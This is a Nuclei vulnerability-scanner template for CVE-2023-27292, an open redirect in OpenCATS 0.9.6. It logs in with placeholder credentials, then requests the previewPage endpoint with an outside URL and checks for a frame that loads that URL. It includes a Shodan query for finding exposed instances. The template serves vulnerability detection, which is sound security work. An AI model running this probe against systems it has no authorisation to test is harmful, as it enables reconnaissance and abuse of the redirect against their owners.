nuclei-templates/http/cves/2023/CVE-2023-27292.yaml

58 lines
1.9 KiB
YAML

id: CVE-2023-27292
info:
name: OpenCATS - Open Redirect
author: r3Y3r53
severity: medium
description: |
OpenCATS contains an open redirect vulnerability due to improper validation of user-supplied GET parameters. This, in turn, exposes OpenCATS to possible template injection and obtaining sensitive information, modifying data, and/or executing unauthorized operations.
remediation: |
Apply the latest patch or update to the latest version of OpenCATS to fix the open redirect vulnerability.
reference:
- https://www.tenable.com/security/research/tra-2023-8
- https://nvd.nist.gov/vuln/detail/CVE-2023-27292
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2023-27292
cwe-id: CWE-601
epss-score: 0.00081
epss-percentile: 0.34182
cpe: cpe:2.3:a:opencats:opencats:0.9.6:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: opencats
product: opencats
shodan-query: title:"opencats"
tags: authenticated,tenable,cve,cve2023,opencats,redirect
http:
- raw:
- |
POST /index.php?m=login&a=attemptLogin HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}}
- |
GET /index.php?m=settings&a=previewPage&url=https://oast.me HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
host-redirects: true
matchers-condition: and
matchers:
- type: word
words:
- '<TITLE>Page Preview</TITLE>'
- '<FRAME src="https://oast.me">'
condition: and
- type: status
status:
- 200
# digest: 4a0a0047304502200c8e841a138081815afc91d0c571a4b08f6815b75afa43904fd082c00413107a022100da5b26547cb70cbec206533af5b963f71025644482eaf04ce1013a2a47f9d400:922c64590222798bb761d5b6d8e72950